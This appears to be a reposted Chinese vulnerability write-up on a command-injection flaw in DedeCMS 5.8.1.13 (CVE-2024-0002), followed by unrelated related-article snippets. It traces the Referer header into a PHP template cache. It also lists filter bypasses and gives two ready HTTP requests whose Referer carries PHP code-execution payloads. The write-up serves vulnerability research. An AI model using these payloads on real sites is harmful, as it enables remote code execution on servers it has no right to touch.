DedeCMS-Develop-5.8.1.13-referer命令注入研究分析 CVE-2024-0002

本次文章给大家带来代码审计漏洞挖掘的思路,从已知可控变量出发或从函数功能可能照成的隐患出发,追踪参数调用及过滤。最终完成代码的隐患漏洞利用过程。

代码审计挖掘思路

首先flink.php文件的代码执行逻辑,可以使用php的调试功能辅助审计

我们注意到参数dopost 为save 进入条件块中执行,查看相关调用函数,分析是否还有其他的取参处理的逻辑。

函数ShowMsg

我们注意到变量gourl取值http的referer头,据注释来看貌似是跳转的地址,那么我们首先会想到是CSRF或者SSRF,看看后面有没有过滤,或有其他的处理逻辑。

在后面的处理的逻辑中定义了 $htmlhead $htmlfoot变量。

那么我们有理由猜测之后的处理逻辑就是渲染输出。如果之中有参数可控,我们可以尝试插入js代码进行xss攻击,如果服务端进行了模板渲染,我们可以选择模板注入,表达式注入。甚至为后端的代码注入。

着重看一下可控参数$gourl 的处理方式

现在可以确认的是可控参数已经在变量&msg , 跟进loadstring函数查看处理逻辑

变量存入了DedeTemplate类中成员变量sourceString中。

右键查找调用者

GetResult函数将调用这个参数。GetResult() 的实现,目的是生成并返回一个处理后的字符串。一个有效的 PHP 代码段,通过使用正则表达式进行清理,确保返回的字符串没有冗余的标签。

继续分析GetResult函数的调用者,及调用者的处理逻辑。

GetResult函数的返回值经CheckDisabledFunctions函数过滤后写入了。

CheckDisabledFunctions 过滤了一些危险函数方法。我们也有理由相信我们的可控参数一定程序上是可以执行php代码的

可以继续分析WriteCache的调用者,也可以从程序处理后一步一步调,看看能不能函数能不能交汇

在之后的display中,发现有writeCache的调用,而且之后i使用文件包含include 生成的cacheFile文件(这点的逻辑可以在WriteCache函数中看)。

那么现在我们的思路就很明显了,

利用可控变量Referer完成 代码段的闭合!

function JumpUrl(){

  if(pgo==0){ location='$gourl'; pgo=1; }

}

默认是在jumpurl函数中,如果默认没调用JumpUrl 我们则可以尝试去闭合这个函数,然后代码执行,

还要考虑一件事情,不能被CheckDisabledFunctions函数检测到,

思路:

1.插入"来绕过 这个会干扰token_get_all_nl函数的提取  (复现方式1)
2.使用php中类似表达式的机制<?=calc?> (复现方式2)
3.结合PHP的流机制 命令执行绕过(跟包含文件相关)

漏洞复现

GET /plus/flink.php?dopost=save HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36

Referer: <?php "system"(calc);?>

Connection: close

Cache-Control: max-age=0z

GET /plus/flink.php?dopost=save HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36

Referer: <?=`calc`?>

Connection: close

Cache-Control: max-age=0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/82811.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络|| 常用网络命令的作用及工作原理

1.hostname 作用&#xff1a;显示计算机的完整计算机名的主机名部分。仅当 Internet 协议 (TCP/IP) 协议作为组件安装在网络的网络适配器的属性中时&#xff0c;此命令才可用。 2.ping 作用&#xff1a; 1.用来检测网络的连通情况和分析网络速度 2.根据域名得到服务器 IP …

用户态到内核态:Linux信号传递的九重门(二)

1. 保存信号 1.1. 信号其他相关常见概念 实际执⾏信号的处理动作称为信号递达(Delivery)。 信号从产⽣到递达之间的状态,称为信号未决(Pending)。 进程可以选择阻塞 (Block )某个信号。 被阻塞的信号产⽣时将保持在未决状态,直到进程解除对此信号的阻塞,才执⾏递达的动作。 1.…

tar -zxvf jdk-8u212-linux-x64.tar.gz -C /opt/module/这个代码的解释

tar -zxvf jdk-8u212-linux-x64.tar.gz -C /opt/module/ 这条命令的解释如下&#xff1a; 1. tar&#xff1a;这是 Linux 系统中用于归档和压缩文件的命令行工具。 2. -z&#xff1a;表示通过 gzip 压缩格式来处理文件&#xff0c;因为文件 jdk-8u212-linux-x64.tar.gz 是一个经…

SysAid On-Prem XML注入漏洞复现(CVE-2025-2776)

免责申明: 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。 前…

Nginx的增强与可视化!OpenResty Manager - 现代化UI+高性能反向代理+安全防护

以下是对OpenResty Manager的简要介绍&#xff1a; OpenResty Manager &#xff08;Nginx 增强版&#xff09;&#xff0c;是一款容易使用、功能强大且美观的反向代理工具 &#xff0c;可以作为OpenResty Edge 的开源替代品基于 OpenResty 开发&#xff0c;支持并继承 OpenRes…

旅游推荐数据分析可视化系统——讯飞AI助手(超级v2版本)+论文+数据+源码

旅游推荐数据分析可视化系统——讯飞AI助手(超级v2版本)论文数据源码 项目介绍 本项目是一个基于Django框架开发的旅游推荐数据分析可视化系统&#xff0c;集成了讯飞AI大模型助手功能。系统通过对去哪儿网的旅游数据进行采集、分析和可视化&#xff0c;为用户提供个性化的旅…

大疆无人机(全系列,包括mini)拉流至电脑,实现直播

参考视频 【保姆级教程】大疆无人机rtmp推流直播教程_哔哩哔哩_bilibili VLC使用教程&#xff1a; VLC工具使用指南-CSDN博客 目录 实现效果&#xff1a; 电脑端 ​编辑 ​编辑 无人机端 VLC拉流 分析 实现效果&#xff1a; (实验机型&#xff1a;大疆mini4kRC-N2遥控器、大…

windows系统使用phpstudy安装ssl证书

一、证书准备与上传 获取证书文件‌ 免费证书&#xff08;如阿里云、Lets Encrypt&#xff09;&#xff1a;下载包含.crt&#xff08;证书&#xff09;、.key&#xff08;私钥&#xff09;、chain.crt&#xff08;证书链&#xff09;的文件包 自签名证书&#xff08;测试用&a…

Spring Validation中9个数据校验工具

Spring Validation作为Spring生态系统的重要组成部分&#xff0c;提供了一套强大而灵活的数据校验机制。 1. Bean Validation基础注解 Spring Validation集成了JSR-380 (Bean Validation 2.0)规范&#xff0c;提供了一系列开箱即用的校验注解。 常用注解示例 Data public c…

AI 搜索引擎 MindSearch

背景 RAG是一种利用文档减少大模型的幻觉&#xff0c;AI搜索也是 AI 搜索引擎 MindSearch 是一个开源的 AI 搜索引擎框架&#xff0c;具有与 Perplexity.ai Pro 相同的性能。您可以轻松部署它来构建您自己的搜索引擎&#xff0c;可以使用闭源 LLM&#xff08;如 GPT、Claude…

Java高频面试之并发编程-16

hello啊&#xff0c;各位观众姥爷们&#xff01;&#xff01;&#xff01;本baby今天又来报道了&#xff01;哈哈哈哈哈嗝&#x1f436; 面试官&#xff1a;volatile 实现原理是什么&#xff1f; volatile 关键字的实现原理 volatile 是 Java 中用于解决多线程环境下变量可见性…

《零基础学机器学习》学习大纲

《零基础学机器学习》学习大纲 《零基础学机器学习》采用对话体的形式&#xff0c;通过人物对话和故事讲解机器学习知识&#xff0c;使内容生动有趣、通俗易懂&#xff0c;降低了学习门槛&#xff0c;豆瓣高分9.1分&#xff0c;作者权威。 接下来的数篇文章&#xff0c;我将用…

C# 中 static的使用

静态(static)是C#中一个重要的关键字&#xff0c;它可以应用于类、方法、属性和字段。 静态类 静态类的特点&#xff1a; 不能实例化只能包含静态成员密封的&#xff08;sealed&#xff09;,不能被继承 应用场景&#xff1a; 工具类/辅助类数学计算类&#xff1a;如Math类…

C++蓝桥杯真题(题目+解析+流程图)(特殊运算符+四叶玫瑰数+质因数的个数+最大的矩形纸片+数字游戏+活动人数)

C++蓝桥杯真题 蓝桥杯省赛C++题目分析1. 特殊运算符题目描述输入描述输出描述输入输出样例正确代码错误代码分析流程图2. 四叶玫瑰数题目描述输入描述输出描述输入输出样例正确代码错误代码分析流程图3. 质因数的个数题目描述输入描述输出描述输入输出样例正确代码错误代码分析…

MYSQL 索引与数据结构笔记

MYSQL 索引与数据结构笔记 文章目录 MYSQL 索引与数据结构笔记1. B-Tree 与 B Tree 基础对比一、B 树的优势二、B 树的进一步优化三、综合对比结论 2. MySQL 为何选择 B Tree3. 索引使用示例与性能分析3.1 整数字段索引查询3.2 字符字段索引查询 4. 索引失效与类型转换陷阱5. 小…

电路中的DGND、GROUND、GROUND_REF的区别,VREF、VCC、VDD、VEE和VSS的区别?

目录 1 DGND、GROUND、GROUND_REF的区别 1.1 DGND&#xff08;Digital Ground&#xff09; 1.2 GROUND&#xff08;Ground&#xff09; 1.3 GROUND_REF&#xff08;Ground Reference&#xff09; 1.4 区别 2 VREF、VCC、VDD、VEE和VSS的区别 2.1 VREF&#xff08;Refere…

OpenHarmony平台驱动开发(十),MMC

OpenHarmony平台驱动开发&#xff08;十&#xff09; MMC 概述 功能简介 MMC&#xff08;MultiMedia Card&#xff09;即多媒体卡&#xff0c;是一种用于固态非易失性存储的小体积大容量的快闪存储卡。 MMC后续泛指一个接口协定&#xff08;一种卡式&#xff09;&#xff0…

C++ 的 VS 项目中引入跨平台包管理工具 conan

我们知道 C 不像很多其他语言有包管理工具&#xff0c;比如 Python 有 pip&#xff0c;Java 有 maven&#xff0c;C# 有 nuget&#xff0c;JS 有 npm&#xff0c;Go 有 go mod&#xff0c;Rust 有 cargo&#xff0c;项目中需要自己手动引入第三方库&#xff0c;手动维护带来了很…

vscode 默认环境路径

1.下面放在项目根目录上&#xff1a; .vscode/settings.json 2.settings.json内容&#xff1a; {"python.analysis.extraPaths": ["${workspaceFolder}"],"python.defaultInterpreterPath": "/shared_disk/users/lbg/envs/py310_see3d/b…

Android 项目中配置了多个 maven 仓库,但依赖还是下载失败,除了使用代理,还有其他方法吗?

文章目录 前言解决方案gradlemaven 仓库 前言 我们在Android 开发的过程中&#xff0c;经常会遇到三方依赖下载不下来的问题。一般情况下我们会在项目的build.gradle文件中配置多个 maven 仓库来解决。 // Top-level build file where you can add configuration options com…